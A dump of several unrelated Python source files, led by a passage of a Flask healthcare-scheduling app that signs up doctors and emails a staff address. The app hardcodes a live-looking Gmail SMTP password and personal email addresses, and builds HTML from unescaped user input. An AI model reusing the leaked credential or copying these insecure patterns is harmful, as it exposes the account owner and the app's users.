'POST'])\ndef doc_login():\n\tform = LoginFormDoctor()\n\n\tif form.validate_on_submit():\n\t\tuser = Doctor.query.filter_by(email=form.email.data).first()\n\t\tif user:\n\t\t\tif check_password_hash(user.password, form.password.data):\n\t\t\t\tlogin_user(user, remember=form.remember.data)\n\t\t\t\treturn redirect(url_for('doctor_dashboard'))\n\n\t\treturn '<h1>Invalid username or password</h1>'\n\t\t#return '<h1>' + form.username.data + ' ' + form.password.data + '</h1>'\n\n\treturn render_template('doc_login.html', form=form)\n\n@app.route('/doc_signup1', methods=['GET', 'POST'])\ndef doc_signup1():\n\tform = RegisterFormDoctor()\n\t#community = request.form.get('community')\n\n\tif form.validate_on_submit():\n\t\tif (form.gtncode.data != GTN_CODE):\n\t\t\treturn render_template('doc_signup1.html', form=form)\n\t\tuser = Doctor.query.filter_by(email=form.email.data).first()\n\t\tif not user:\n\t\t\thashed_password = generate_password_hash(form.password.data, method='sha256')\n\t\t\timgName = images.save(form.img.data)\n\t\t\thasMalpractice = False\n\t\t\tif form.malpractice.data == 0:\n\t\t\t\thasMalpractice = True\n\t\t\tnew_user = User(type='doctor')\n\t\t\tnew_doctor = Doctor(id=new_user.id, fname=form.fname.data, lname=form.lname.data, email=form.email.data, \n\t\t\t\t\tphoneNumber=form.phoneNumber.data, imgName=imgName, npi=form.npi.data, practiceName=form.practiceName.data, \n\t\t\t\t\ttimezone=form.timezone.data, password=hashed_password, specialty=form.specialty.data, userType='doctor', dob=form.dob.data,\n\t\t\t\t\tzoomlink=form.zoomlink.data, malpractice=hasMalpractice)\n\t\t\tdb.session.add(new_user)\n\t\t\tdb.session.add(new_doctor)\n\t\t\tdb.session.commit()\n\t\t\tlogin_user(new_doctor)\n\n\t\t\t############ SEND EMAIL TO GTN HERE##############\n\t\t\tcp_name = current_user.fname + ' ' + current_user.lname\n\t\t\tcp_email = current_user.email\n\t\t\tintro_text = 'Dear GTN, <br><br>A user with the name ' + cp_name + ' has registered as a consulting physician. Their email is ' + cp_email + '. This is just an automated message. No action is required.'\n\t\t\tending_text = 'Sincerely,' + '<br>' + 'The Careify Team'\n\n\t\t\thtml_email_msg = '<html>  <body>  <font size=\"4\" face=\"Arial\" >      <style>      table {        border-collapse: collapse;      }      th, td {        border: 1px solid black;        padding: 10px;        text-align: right;      }    </style>    <p>    <br>'+intro_text+' <br><br> '+ending_text+'</p>  </body></html>'\n\n\t\t\ttolist = ['gtn.careify@gmail.com']\n\t\t\tcclist = ['armaanj2016@gmail.com']\n\t\t\tbcclist = []\n\n\t\t\tport = 465  # For SSL\n\t\t\tsmtp_server = \"smtp.gmail.com\"\n\t\t\tsender_email = \"gtn.careify@gmail.com\"  # Enter your address\n\n\t\t\ttoaddrs = tolist + cclist + bcclist\n\n\t\t\tpassword='gtn-admin2022!'\n\n\t\t\tmessage = MIMEMultipart(\"mixed\")\n\t\t\tmessage[\"Subject\"] = 'Careify: New Consulting Physician Registered'\n\t\t\tmessage[\"From\"] = sender_email\n\t\t\tmessage[\"To\"] = ', '.join(tolist)\n\n\t\t\t# Turn these into html MIMEText objects)\n\t\t\tpart = MIMEText(html_email_msg, \"html\")\n\t\t\tmessage.attach(part)\n\n\t\t\t # Create secure connection with server and send email\n\t\t\tcontext = ssl.create_default_context()\n\t\t\twith smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n\t\t\t\tserver.login(sender_email, password)\n\t\t\t\tserver.sendmail(sender_email, toaddrs, message.as_string())\n\n\t\telse:\n\t\t\tredirect(url_for('doc_login'))\n\n\t\treturn redirect(url_for('doc_signup_liability'))\n\t\t#return '<h1>' + form.username.data + ' ' + form.email.data + ' ' + form.password.data + '</h1>'\n\n\treturn render_template('doc_signup1.html', form=form)\n\n\n@app.route('/doc_signup_liability', methods=['GET', 'POST'])\n@login_required\n@require_role('doctor')\ndef doc_signup_liability():\n\tform = RegisterFormDoctorLiability()\n\tif form.validate_on_submit():\n\t\tdoctor_id = current_user.id\n\t\tsetattr(current_user, 'liability', True)\n\t\tdb.session.commit()\n\t\treturn redirect(url_for('doc_signup3'))\n\t\t#return '<h1>' + form.username.data + ' ' + form.email.data + ' ' + form.password.data + '</h1>'\n\n\treturn render_template('doc_signup_liability.html', form=form)\n\n\n# @app.route('/doc_signup2', methods=['GET', 'POST'])\n# @login_required\n# @require_role('doctor')\n# def doc_signup2():\n# \tform = RegisterFormDoctorCommunities()\n# \tform.comm1.choices = [comm.community for comm in db.session.query(Communities).all()]\n# \tform.comm2.choices = [comm.community for comm in db.session.query(Communities).all()]\n# \tform.comm3.choices = [comm.community for comm in db.session.query(Communities).all()]\n\t\n# \t#community = request.form.get('community')\n\n# \tif form.validate_on_submit():\n# \t\tif request.form['action'] == 'next':\n# \t\t\t#doctor_id = db.session.query(Doctor).filter_by(current_user.id)\n# \t\t\tdoctor_id = current_user.id\n# \t\t\tcomm1_id = db.session.query(Communities.id).filter_by(community=form.comm1.data).first()[0]\n# \t\t\tcomm2_id = db.session.query(Communities.id).filter_by(community=form.comm2.data).first()[0]\n# \t\t\tcomm3_id = db.session.query(Communities.id).filter_by(community=form.comm3.data).first()[0]\n# \t\t\tif (comm1_id != 1): db.session.add(Doctor_Communities(doctor_id=doctor_id, community_id=comm1_id))\n# \t\t\tif (comm2_id != 1): db.session.add(Doctor_Communities(doctor_id=doctor_id, community_id=comm2_id))\n# \t\t\tif (comm3_id != 1): db.session.add(Doctor_Communities(doctor_id=doctor_id, community_id=comm3_id))\n# \t\t\tdb.session.commit()\n# \t\t\treturn redirect(url_for('doc_signup3'))\n\n# \t\telif request.form['action'] == 'add':\t\t\t\n# \t\t\texists = db.session.query(Communities).filter_by(community=form.added_community.data).first() is not None\n# \t\t\tif not exists and form.added_community.data!='':\n# \t\t\t\tdb.session.add(Communities(community=form.added_community.data))\n# \t\t\t\tdb.session.commit()\n# \t\t\treturn redirect(url_for('doc_signup2'))\n\n# \t\telse:\n# \t\t\treturn redirect(url_for('doc_signup2'))\n# \t\tform.added_community.data = ''\n# \t\t#return '<h1>' + form.username.data + ' ' + form.email.data + ' ' + form.password.data + '</h1>'\n\n# \treturn render_template('doc_signup2.html', form=form)\n\n\n@app.route('/doc_signup3', methods=['GET', 'POST'])\n@login_required\n@require_role('doctor')\ndef doc_signup3():\n\tform = ScheduleForm()\n\t#community = request.form.get('community')\n\n\tif form.validate_on_submit():\n\t\tif request.form['action'] == 'save':\n\t\t\tstartTimeList = [form.mon_start.data, form.tue_start.data, form.wed_start.data, form.thu_start.data, form.fri_start.data, form.sat_start.data, form.sun_start.data]\n\t\t\tendTimeList = [form.mon_end.data, form.tue_end.data, form.wed_end.data, form.thu_end.data, form.fri_end.data, form.sat_end.data, form.sun_end.data]\n\t\t\trepeat = form.repeat.data #0 is every week, 1 is every other week\n\t\t\tcreateOneYearListAll(startTimeList, endTimeList, repeat)\n\t\t\treturn redirect(url_for('doctor_dashboard'))\n\n\treturn render_template('doc_signup3.html', form=form)\n\n\n@app.route('/doctor_dashboard', methods=['GET', 'POST'])\n@login_required\n@require_role('doctor')\ndef doctor_dashboard():\n\tform = PlaceHolderForm()\n\n\tpatientList = []\n\tdtList = []\n\tdesList = []\n\tzoomList = []\n\ttupleList = []\n\tsessionsList = []\n\tisAccepted = []\n\n\tpatientListPrev = []\n\tdtListPrev = []\n\tdesListPrev = []\n\tzoomListPrev = []\n\ttupleListPrev = []\n\n\tnews = getGoogleNews(current_user.specialty)\n\n\tupcomingSessions = db.session.query(Schedule).filter(Schedule.doctor_id==current_user.id, Schedule.booked==True, Schedule.timeAvailable>=getCurrentServerUTCTime()).all()\n\tfor sessions in upcomingSessions:\n\t\tpatientList.append(db.session.query(Patient).filter_by(id=sessions.patient_id).first())\n\t\tdtList.append(FancyDateTime(sessions.timeAvailable))\n\t\tdesList.append(sessions.description)\n\t\tzoomList.append(sessions.zoom)\n\t\tsessionsList.append(sessions)\n\t\tisAccepted.append(sessions.accepted)\n\tfor x in range(len(patientList)):\n\t\ttupleList.append((patientList[x], dtList[x], desList[x], zoomList[x], sessionsList[x], isAccepted[x]))\n\n\tpreviousSessions = db.session.query(Schedule).filter(Schedule.doctor_id==current_user.id, Schedule.booked==True, Schedule.timeAvailable<=getCurrentServerUTCTime()).all()\n\tfor sessions in previousSessions:\n\t\tpatientListPrev.append(db.session.query(Patient).filter_by(id=sessions.patient_id).first())\n\t\tdtListPrev.append(FancyDateTime(sessions.timeAvailable))\n\t\tdesListPrev.append(sessions.description)\n\t\tzoomListPrev.append(sessions.zoom)\n\tfor x in range(len(patientListPrev)):\n\t\ttupleListPrev.append((patientListPrev[x], dtListPrev[x], desListPrev[x], zoomListPrev[x]))\n\n\t# if form.is_submitted():\n\t# \tprint('\\n' + 'GOT IT' + '\\n')\n\t# \tacceptedBool = request.form.get('action').accepted\n\t# \temr = request.form.get('emr')\n\t# \tprint('\\n' + acceptedBool + '\\n')\n\t# \tprint('\\n' + emr + '\\n')\n\n\tif request.method == 'POST':\n\t\t#print('\\n' + str(request.form['action']) + '\\n')\n\t\tif request.form['action'] == 'EMR':\n\t\t\t###### ADD LINK TO EMR EVENTUALLY ######\n\t\t\temr = 'EMR'\n\t\telif request.form['action'].isdigit():\n\t\t\tdb.session.query(Schedule).filter_by(id=int(request.form['action'])).update({'accepted': True})\n\t\t\tdb.session.commit()\n\n\t\t\t############ SEND EMAIL TO GTN HERE##############\n\t\t\tscheduleSlot = db.session.query(Schedule).filter_by(id=int(request.form['action'])).first()\n\t\t\tlp = db.session.query(Patient).filter(Patient.id==scheduleSlot.patient_id).first()\n\t\t\tlp_name = lp.fname + ' ' + lp.lname\n\t\t\tcp_name = current_user.fname + ' ' + current_user.lname\n\t\t\tcp_email = current_user.email\n\n\t\t\tintro_text = 'Dear GTN, <br><br>A consulting physician with the name ' + cp_name + '(email: ' + cp_email + ') has accepted their consult with local provider ' + lp_name + '(email: ' + lp.email + '). The consult is confirmed on ' + FancyDateTime(scheduleSlot.timeAvailable) + '. This is just an automated message. No action is required.'\n\t\t\tending_text = 'Sincerely,' + '<br>' + 'The Careify Team'\n\t\t\thtml_email_msg = '<html>  <body>  <font size=\"4\" face=\"Arial\" >      <style>      table {        border-collapse: collapse;      }      th, td {        border: 1px solid black;        padding: 10px;        text-align: right;      }    </style>    <p>    <br>'+intro_text+' <br><br> '+ending_text+'</p>  </body></html>'\n\t\t\ttolist = ['gtn.careify@gmail.com']\n\t\t\tcclist = ['armaanj2016@gmail.com']\n\t\t\tbcclist = []\n\t\t\tport = 465  # For SSL\n\t\t\tsmtp_server = \"smtp.gmail.com\"\n\t\t\tsender_email = \"gtn.careify@gmail.com\"  # Enter your address\n\t\t\ttoaddrs = tolist + cclist + bcclist\n\t\t\tpassword='gtn-admin2022!'\n\t\t\tmessage = MIMEMultipart(\"mixed\")\n\t\t\tmessage[\"Subject\"] = 'Careify: Consult Request Accepted'\n\t\t\tmessage[\"From\"] = sender_email\n\t\t\tmessage[\"To\"] = ', '.join(tolist)\n\t\t\t# Turn these into html MIMEText objects)\n\t\t\tpart = MIMEText(html_email_msg, \"html\")\n\t\t\tmessage.attach(part)\n\t\t\t # Create secure connection with server and send email\n\t\t\tcontext = ssl.create_default_context()\n\t\t\twith smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n\t\t\t\tserver.login(sender_email, password)\n\t\t\t\tserver.sendmail(sender_email, toaddrs, message.as_string())\n\n\t\telse:\n\t\t\tpass\n\n\treturn render_template('doctor_dashboard.html', name=current_user.lname, tupleList=tupleList, tupleListPrev=tupleListPrev, news=news, form=form, isAccepted=isAccepted)\n\n\n##################################################################################################\n#ZOOM functions\n##################################################################################################\n\n# def generateToken():\n#     token = jwt.encode(\n\n#         # Create a payload of the token containing\n#         # API Key & expiration time\n#         {'iss': API_KEY, 'exp': time() + 5000},\n\n#         # Secret used to generate token signature\n#         API_SEC,\n\n#         # Specify the hashing alg\n#         algorithm='HS256'\n#     )\n#     return token #.decode('utf-8')\n\n\n# def createZoomJSON(PatientName, PatientEmail, PatientChiefComplaint, ProviderName, ProviderEmail, startTimeUTC):\n# \t# create json data for post requests\n# \tmeetingdetails = {\n# \t    \"topic\": \"Careify QuickConsult: Patient:-: \"+PatientName+\" and Provider:-:\"+ProviderName,\n# \t    \"type\": 2,\n# \t    \"start_time\": startTimeUTC,\n# \t    \"duration\": \"15\",\n# \t    \"timezone\": \"GMT\",\n# \t    \"agenda\": \"QuickConsult Reason: \"+PatientChiefComplaint,\n# \t    \"recurrence\": {\n# \t        \"type\": 1,\n# \t        \"repeat_interval\": 1\n# \t    },\n# \t    \"settings\": {\n# \t        \"host_video\": \"true\",\n# \t        \"participant_video\": \"true\",\n# \t        \"join_before_host\": \"False\",\n# \t        \"mute_upon_entry\": \"False\",\n# \t        \"waiting_room\": \"true\",\n# \t        \"watermark\": \"true\",\n# \t        \"audio\": \"voip\",\n# \t        \"auto_recording\": \"none\",\n# \t        \"alternative_hosts\": ProviderEmail\n# \t    },\n# \t    \"registrants_email_notification\": \"true\",\n# \t    \"registrants_confirmation_email\": \"true\",\n# \t    \"private_meeting\": \"true\",\n# \t    \"meeting_invitees\": [PatientEmail, ProviderEmail],\n# \t    \"calender_type\": 1,\n# \t}\n# \treturn meetingdetails\n\n# # returns json with everything you need for zoom meeting\n# def createMeeting(zoomJSON):\n#     headers = {'authorization': 'Bearer ' + generateToken(),\n#                'content-type': 'application/json'}\n#     r = requests.post(\n#         f'https://api.zoom.us/v2/users/me/meetings',\n#         headers=headers, data=json.dumps(zoomJSON))\n \n#     #rint(\"\\n Creating Zoom Meeting ... \\n\")\n#     # print(r.text)\n#     # converting the output into json and extracting the details\n#     responseJSON = json.loads(r.text)\n#     #join_URL = y[\"join_url\"]\n#     #meetingPassword = y[\"password\"]\n \n#     #print(f'\\n here is your zoom meeting link {join_URL} and your password: \"{meetingPassword}\"\\n')\n#     return responseJSON\n\n\n\n\n##################################################################################################\n#Other functions\n##################################################################################################\n\n# def communityQuery():\n# \treturn db.session.query(Communities).all()\n\ndef getGoogleNews(specialty):\n\t#Instatiate\n\tgooglenews = GoogleNews()\n\n\t#get the date strings for the last 30 days - NOTE THIS IS UTC TIME\n\tend_date = datetime.datetime.strftime(datetime.datetime.utcnow(), '%m/%d/%Y')\n\tstart_date =  datetime.datetime.strftime(datetime.datetime.utcnow() - datetime.timedelta(days=31), '%m/%d/%Y')\n\t#print([start_date, end_date])\n\n\t#Set Prefs\n\tgooglenews.set_lang('en')\n\tgooglenews.set_period('31d')\n\tgooglenews.set_time_range(start_date,end_date)\n\tgooglenews.set_encode('utf-8')\n\n\t#set topic\n\tgooglenews.search(specialty)\n\n\tnews_result = googlenews.page_at(1) #Only get the first page of results\n\t#Result is a list of jsons for each new item\n\treturn news_result\n\ndef FancyDateTime(dt):\n\t#takes utc datetime in format '%Y-%m-%d %H:%M:%S' and converts it to\n\t#local time with readable format \"%A, %b %d, %I:%M%p\"\n\tlocalTime = changeUTCToUserTime(dt)\n\tfancyDatetime = datetime.datetime.strftime(localTime, \"%A, %b %d, %I:%M%p\")\n\treturn fancyDatetime\n\ndef getDoctorAvailability(doctor_id, num):\n\t# This function takes a doctor_id and returns a list of tuples (length num) of the upcoming\n\t# available timeslots for that doctor. \n\tavailableTimes = db.session.query(Schedule.timeAvailable).filter(Schedule.timeAvailable>=getCurrentServerUTCTime(), Schedule.doctor_id==doctor_id, Schedule.booked==False).all()\n\tavailableTimes.sort()\n\tfilteredTimes = []\n\tfor x in range(min(num, len(availableTimes))):\n\t\tlocalTime = changeUTCToUserTime(availableTimes[x][0])\n\t\tfancyDatetime = datetime.datetime.strftime(localTime, \"%A, %b %d, %I:%M%p\")\n\t\t#fancyDatetime = availableTimes[x][0]\n\t\tdateTuple = (localTime, fancyDatetime)\n\t\tfilteredTimes.append(dateTuple)\n\treturn filteredTimes\n\ndef getCurrentServerUTCTime ():\n\ttimezone = 'US/Pacific' ####Change if server is not in Pacific/US timezone\n\tlocal_time = datetime.datetime.now() # Enter your user/client's time [var datetime_now = new Date();]\n\toffsetTime = pytz.timezone(timezone).utcoffset(local_time)\n\tutc_time = local_time - offsetTime #NOTICE the \"-\" here\n\treturn utc_time\n\ndef changeToUTC (dtime):\n\ttimezone = current_user.timezone\n\t#timezone = 'US/Pacific'\n\tlocal_time = dtime # Enter your user/client's time [var datetime_now = new Date();]\n\toffsetTime = pytz.timezone(timezone).utcoffset(local_time)\n\tutc_time = local_time - offsetTime #NOTICE the \"-\" here\n\treturn utc_time\n\ndef changeUTCToUserTime (dtime):\n\ttimezone = current_user.timezone\n\t#timezone = 'US/Pacific'\n\tutc_time = dtime\n\toffsetTime = pytz.timezone(timezone).utcoffset(utc_time)\n\tlocal_time = utc_time + offsetTime #NOTICE the \"-\" here\n\treturn local_time\n\ndef findNextWeekday(weekday):\n\tdate = datetime.datetime.now()\n\tcurr_weekday = date.weekday()\n\tdiff = weekday - curr_weekday\n\tif (diff<0): diff=7+diff\n\tdate += datetime.timedelta(days=diff)\n\treturn date\n\ndef createOneYearList(startTime, endTime, weekday, repeat):\n\t# Take datetime start and end (and day of week as integer) (and repeat as integer, 0=ever week, 1=every other week) and\n\t# returns a list of recurring 15-min increment times \n\t# on that day for one year from current time. \n\t# Also account for timezone (list should be in UTC, startTime/endTime are in user's local time).\n\tOneYearList = []\n\tif startTime=='-' or endTime=='i':\n\t\treturn OneYearList\n\n\tfirstDate = findNextWeekday(weekday)\n\tdtst = datetime.datetime.strptime(startTime, '%I:%M%p')\n\tdtStartTime = dtst.replace(day=firstDate.day, month=firstDate.month, year=firstDate.year)\n\tdtet = datetime.datetime.strptime(endTime, '%I:%M%p')\n\tdtEndTime = dtet.replace(day=firstDate.day, month=firstDate.month, year=firstDate.year)\n\n\tstart = changeToUTC(dtStartTime)\n\tend = changeToUTC(dtEndTime)\n\n\tif repeat=='0':\n\t\t# repeat every week\n\t\tfor i in range(0, 50):\n\t\t\tnext_start = start\n\t\t\twhile next_start < end:\n\t\t\t\tOneYearList.append(next_start)\n\t\t\t\tnext_start += datetime.timedelta(hours=0.25)\n\t\t\tstart += datetime.timedelta(days=7)\n\t\t\tend += datetime.timedelta(days=7)\n\telif repeat=='1':\n\t\t# repeat every other week\n\t\tfor i in range(0, 50):\n\t\t\tnext_start = start\n\t\t\twhile next_start < end:\n\t\t\t\tOneYearList.append(next_start)\n\t\t\t\tnext_start += datetime.timedelta(hours=0.25)\n\t\t\tstart += datetime.timedelta(days=14)\n\t\t\tend += datetime.timedelta(days=14)\n\telse:\n\t\tnext_start = start\n\t\twhile next_start < end:\n\t\t\tOneYearList.append(next_start)\n\t\t\tnext_start += datetime.timedelta(hours=0.25)\n\treturn OneYearList\n\n\ndef commitAvailabilityTimes(doctor_id, MegaList):\n\t# First deletes all existing times with no bookings from schedule table, if exist\n\t# Takes a list of datetimes and commits them to the Schedule table\n\ttimeSlots = db.session.query(Schedule).filter_by(doctor_id=doctor_id, booked=False).delete()\n\tdb.session.commit()\n\t\n\tfor dt in MegaList:\n\t\texists = db.session.query(Schedule).filter_by(timeAvailable=dt).first() is not None\n\t\tif not exists:\n\t\t\tdb.session.add(Schedule(doctor_id=current_user.id, timeAvailable=dt))\n\tdb.session.commit()\n\n\ndef createOneYearListAll(startTimeList, endTimeList, repeat):\n\t# Takes a list of 7 startTimes and 7 endTimes (starting on monday(0))\n\t# and calls createOneYearList() for each one.\n\t# Merges all One-Year lists into one large list.\n\t# Calls commitAvailabilityTimes() to commit the large datetime list to the schedule table\n\tMegaList = []\n\tfor i in range(0, len(startTimeList)):\n\t\tlistOfDates = createOneYearList(startTimeList[i], endTimeList[i], i, repeat)\n\t\tMegaList += listOfDates\n\tMegaList.sort()\n\tcommitAvailabilityTimes(current_user.id, MegaList)\n\n\ndef filteredDoctorIdsUrgency(urgencyString):\n\tlistOfDoctorIds = []\n\tdoc_id_list = [doc.id for doc in db.session.query(Doctor).all()]\n\tsoonest_appt_dict = {}\n\tcurrTimeUTC = getCurrentServerUTCTime();\n\tfor doc_id in doc_id_list:\n\t\tif getDoctorAvailability(doc_id, 1)==[]:\n\t\t\tcontinue\n\t\tlocalTimeAvailability = getDoctorAvailability(doc_id, 1)[0][0]\n\t\tutcTimeAvailability = changeToUTC(localTimeAvailability)\n\t\ttimeDelta = utcTimeAvailability - currTimeUTC\n\t\tsoonest_appt_dict[doc_id] = timeDelta\n\t\tif urgencyString == 'Within 6 hours':\n\t\t\tif timeDelta <= datetime.timedelta(hours=6):\n\t\t\t\tlistOfDoctorIds.append(doc_id)\n\t\telif urgencyString == 'Within 12 hours':\n\t\t\tif timeDelta <= datetime.timedelta(hours=12):\n\t\t\t\tlistOfDoctorIds.append(doc_id)\n\t\telif urgencyString == 'Within 24 hours':\n\t\t\tif timeDelta <= datetime.timedelta(hours=24):\n\t\t\t\tlistOfDoctorIds.append(doc_id)\n\t\telif urgencyString == 'Within 48 hours':\n\t\t\tif timeDelta <= datetime.timedelta(hours=48):\n\t\t\t\tlistOfDoctorIds.append(doc_id)\n\t\telif urgencyString == 'Within 72 hours':\n\t\t\tif timeDelta <= datetime.timedelta(hours=72):\n\t\t\t\tlistOfDoctorIds.append(doc_id)\n\t\telif urgencyString == 'Within 1 week':\n\t\t\tif timeDelta <= datetime.timedelta(hours=168):\n\t\t\t\tlistOfDoctorIds.append(doc_id)\n\t\telse:\n\t\t\tcontinue\n\treturn listOfDoctorIds\n\n\ndef validate(email):\n\tmatch=re.search(r\"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9.]*\\.*[com|org|edu]{3}$)\",email)\n\tif match:\n\t\treturn True\n\telse:\n\t\treturn False\n\n\ndef get_emailText(lp_email, specialty_txt):\n\tit = 'Dear GTN, <br><br>A Local Provider has requested physician matching. Here is a description of their problem:'\n\tet = 'Please determine the physician specialty that is most appropriate for this problem and email the Local Provider at ' + lp_email + '.<br><br>' + 'Here is a list of specialties: ' + specialty_txt + '<br><br>' + 'Sincerely,' + '<br>' + 'The Careify Team'\n\treturn [it,et]\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Armaan-Johal/GTN-MVP","sub_path":"Healthcare_Scheduler_Project/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":56492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34727333212","text":"arr=[1, 2, 3, -4, -1, 4]\r\nn=len(arr)\r\n#rearrange array with alternating positive negative elements\r\n\r\ndef func1(arr,n):        \r\n    for i in range(n):\r\n        if (arr[i]<0 and i%2!=0) or (arr[i]>0 and i%2==0):\r\n            #outofplace\r\n            temp=-1\r\n            for j in range(i+1,n):\r\n                if (arr[j]<0 and j%2!=0) or (arr[j]>0 and j%2==0):\r\n                    if(arr[i]<0 and arr[j]>0) or (arr[i]>0 and arr[j]<0):\r\n                        temp=j\r\n                        break\r\n            arr[i],arr[temp]=arr[temp],arr[i]\r\n            \r\n    print(arr)     \r\n        \r\n","repo_name":"rajansh87/Data-Structures-and-Algorithms-Implementations","sub_path":"Array/Alternate positive negative rearrangement.py","file_name":"Alternate positive negative rearrangement.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"24321632989","text":"'''\nridge regression model is generally better than \nthe OLS model in prediction\nIn this code Ridge Regression class will be \nused to train boston house data set\n'''\n\nimport pandas as pd\nimport numpy as np\nimport ML_Lib as ml\nfrom sklearn import preprocessing\nfrom sklearn.datasets import load_boston # dataset\n\n#Y is price of the homes\n#X is the input data\nX, Y = load_boston(return_X_y=True)\nprint('shape of X: ', X.shape)\nprint('shape of Y: ', Y.shape)\n#reshape Y\nY = Y[:, np.newaxis]\nprint('shape of Y after reshaping:', Y.shape)\n\n#create an instance of ridge regression class\nBoston_RR = ml.ridge_regression_class(X, Y, name_of_saved_model='ridge01.sav', max_alpha=200)\nBoston_RR.run()\n\n#first row of data set for testing the trained model\n#for Ridge Regression the input for the model should be scaled\nmodel_input = preprocessing.scale(X[0,:]) \nmodel_input = model_input.reshape([1, 13])\n\n#create an instance of ridge regression predict class\nBoston_predict = ml.ridge_regression_perdict_class('ridge01.sav', model_input)\nBoston_predict.mpredict()\n\n\nprint('\\n\\ncode is done')","repo_name":"Reza-Azad/ML_OOP","sub_path":"02_Ridge_Regression.py","file_name":"02_Ridge_Regression.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28465080337","text":"class Node:\n   def __init__(self, data):\n      self.left = None\n      self.right = None\n      self.val = data\n\nclass Solution:\n    def inorderTraversal(self, root):\n        nodes = []\n        def TraversalUtil(root):\n            if not root:\n                return\n            \n            # for child in root.children:\n            #     TraversalUtil(child)\n            \n            if root.left:\n                TraversalUtil(root.left)\n                \n            nodes.append(root.val)\n                \n            if root.right:\n                TraversalUtil(root.right)\n                \n        TraversalUtil(root)\n        return nodes\n\n'''   Let us create below tree\n*              5\n*           //    \\\\\n*          3        7\n*        // \\\\    // \\\\\n*        1   4    6   8\n*           //\n*          2\n'''\narr = Node(5)\narr.left = Node(3)\narr.left.right = Node(4)\narr.left.left = Node(1)\narr.right = Node(7)\narr.right.right = Node(8)\narr.right.left = Node(6)\narr.left.right.left = Node(2)\nobj = Solution()\nans = obj.inorderTraversal(arr)\nprint(ans)\n'''\nOutput:\n[1, 3, 2, 4, 5, 6, 7, 8]\n'''\n","repo_name":"CyberkidAdithya/CP_snippets_Py3","sub_path":"binary_tree.py","file_name":"binary_tree.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17932745803","text":"continu = False\nservos.P2.set_angle(90)\nwhile continu == False:\n    basic.show_leds(\"\"\"\n        # . . . #\n                . # . # .\n                . . # . .\n                . # . # .\n                # . . . #\n    \"\"\")\n    if input.logo_is_pressed():\n        continu = True\nbasic.show_leds(\"\"\"\n    . . . . .\n        . . . . #\n        . . . # .\n        # . # . .\n        . # . . .\n\"\"\")\nbasic.pause(1000)\n\ndef on_forever():\n    if continu == True:\n        # If dim,\n        # turn on light\n        # else if bright,\n        # turn off light\n        basic.show_number(pins.analog_read_pin(AnalogPin.P1))\n        if pins.analog_read_pin(AnalogPin.P1) == 3:\n            servos.P2.set_angle(65)\n        elif pins.analog_read_pin(AnalogPin.P1) == 2:\n            servos.P2.set_angle(115)\nbasic.forever(on_forever)\n\ndef on_button_pressed_a():\n    servos.P2.set_angle(90)\n    pass\ninput.on_button_pressed(Button.A, on_button_pressed_a)\n","repo_name":"Pranava911/save-da-world","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12326788493","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@date: 2020/6/7 下午2:06\n@file: shufflenet_unit.py\n@author: zj\n@description: \n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .channel_shuffle import ChannelShuffle\n\n\nclass ShuffleNetUnit(nn.Module):\n\n    def __init__(self, inp, oup, stride, groups=1):\n        super(ShuffleNetUnit, self).__init__()\n        assert stride in [1, 2]\n\n        self.stride = stride\n\n        if self.stride == 2:\n            self.branch1 = nn.Sequential(\n                nn.AvgPool2d(kernel_size=3, stride=2, padding=1)\n            )\n            dw_out_channels = inp * (oup // inp)\n            gconv_oup = oup - inp\n        else:\n            self.branch1 = nn.Sequential()\n            dw_out_channels = oup\n            gconv_oup = oup\n\n        self.branch2 = nn.Sequential(\n            # 分组卷积\n            nn.Conv2d(inp, inp, kernel_size=1, stride=1, padding=0, bias=False, groups=groups),\n            nn.BatchNorm2d(inp),\n            nn.ReLU(inplace=True),\n            ChannelShuffle(groups),\n            # 深度卷积\n            nn.Conv2d(inp, dw_out_channels, kernel_size=3, stride=self.stride, padding=1, bias=False, groups=inp),\n            nn.BatchNorm2d(dw_out_channels),\n            # 分组卷积\n            nn.Conv2d(dw_out_channels, gconv_oup, kernel_size=1, stride=1, padding=0, bias=False, groups=groups),\n            nn.BatchNorm2d(gconv_oup),\n            nn.ReLU(inplace=True),\n        )\n\n    def _forward_impl(self, x):\n        if self.stride == 1:\n            out = x + self.branch2(x)\n        else:\n            out = torch.cat((self.branch1(x), self.branch2(x)), dim=1)\n\n        out = F.relu(out)\n\n        return out\n\n    def forward(self, x):\n        return self._forward_impl(x)\n","repo_name":"deep-learning-algorithm/LightWeightCNN","sub_path":"py/lib/models/shufflenet/shufflenet_unit.py","file_name":"shufflenet_unit.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
